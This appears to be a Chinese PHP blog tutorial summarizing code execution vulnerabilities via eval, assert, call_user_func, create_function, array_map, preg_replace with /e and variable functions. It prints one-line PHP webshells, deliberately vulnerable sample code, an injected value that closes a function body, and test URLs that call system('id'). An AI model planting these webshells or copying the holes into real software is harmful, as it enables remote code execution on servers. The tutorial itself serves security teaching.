IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 代码执行漏洞总结 -> 正文阅读

[PHP知识库]代码执行漏洞总结

代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令 ,

代码执行漏洞

有的应用程序提供了一些可以将字符串作为代码执行的函数,如果对这些函数控制不严格,就可能被攻击者利用,执行恶意代码

eval函数

eval函数把字符串作为PHP代码执行

eval(string $code)

eval实例代码 比如一句话木马

<?php @eval($_POST[1])?>

assert函数

assert函数检查一个断言是否为FALSE

bool assert(mixed $assertion[,Throwable $exception])

assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行
示例

<?php @assert($_POST[1])?>

call_user_func函数

把第一个参数作为回调函数调用

mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])

第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数
示例代码
一句话木马的变形代码 通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

<?php call_user_func($_POST['fun'],$_POST['arg']);?>

call_user_func_arrey函数

把第一个参数作为回调函数调用 把参数数组作为回调函数的参数调用

mixed call_user_func_arrey(callable $callback,array $param_arr)

示例代码
一句话木马的变形代码 通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

<?php call_user_func_array($_POST['fun'],$_POST['arg']);?>

create_function函数

根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称

string create_function(string $args,string $code)

示例代码

<?php
	$id=$_GET['id'];
	$code='echo'.$func.'test'.$id.';';
	create_function('$func',$code);
?>

create_function函数会创建虚拟函数,转变成以下代码

<?php
	$id=$_GET['id'];
	function func($func){
 	echo "test".$id;
  }
?>

当传入id的值为1;}phpinfo();/*时 就可以造成 代码执行

array_map函数

为数组的每个元素应用回调函数

array array_map(callable $callback,array $array1[,array $array2...])

函数返回为每个数组元素应用callback函数之后的数组,callback函数形参的数量和传给array_map函数的数组和数量必须相同
示例

<?php
	$func=$_GET['func'];
	$argv=$_GET['argv'];
	$array[0]=$argv;
	array_map($func,$array);
?>

输入语句

http://xxx/index.php?func=system&argv=id

就可以执行任意代码

preg_replace函数

执行一个正则表达式的搜索和替换

mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])

示例

<?php
	$subject='hello hack';
	$pattern='/hack/'
	$replacement=$_GET["name"];
	echo preg_replace($pattern,$replacement,$subject);
?>

测试语句

http://xxx/index.php?name=tom

preg_replace函数会将hack替换成tom
此函数存在模式修饰符 其中修饰符e会让函数将替换后的函数作为PHP代码执行
(以eval函数方式)
如果设置了这个被弃用的修饰符 ,函数对替换字符进行后向引用替换之后 ,将替换后的字符串作为PHP代码评估执行,并使用执行结果作为实际参与替换的字符串,单引号 双引号反斜线和Null字符在后向引用替换式会被自动加上反斜线转义
示例

<?php
	$subject='hello hack';
	$pattern='/hack/e'
	$replacement=$_GET["name"];
	echo preg_replace($pattern,$replacement,$subject);
?>

测试语句

http://xxx/index.php?name=phpinfo()

会将hack替换成phpinfo()同时因为有e修饰符 会将phpinfo()当做代码执行

php可变函数

如果一个变量名后有圆括号 ,Php将寻找与变量值同名的函数并执行他,这意味着Php中可以把函数名通过字符串的方式传递给一个变量然后通过此变量动态调用函数

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar(){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

 $func='foo';
 $func();
 $func='bar';
 $func('test');
 $func='echoit';
 $func('test')
 ?>

在这里插入图片描述
虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。

Php可变函数漏洞示例代码:

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar($arg=''){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);

 ?>

在这里插入图片描述

参考文章

PHP代码执行漏洞
命令执行和代码执行

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-27 15:59:34  更:2021-07-27 16:01:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/3 0:57:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码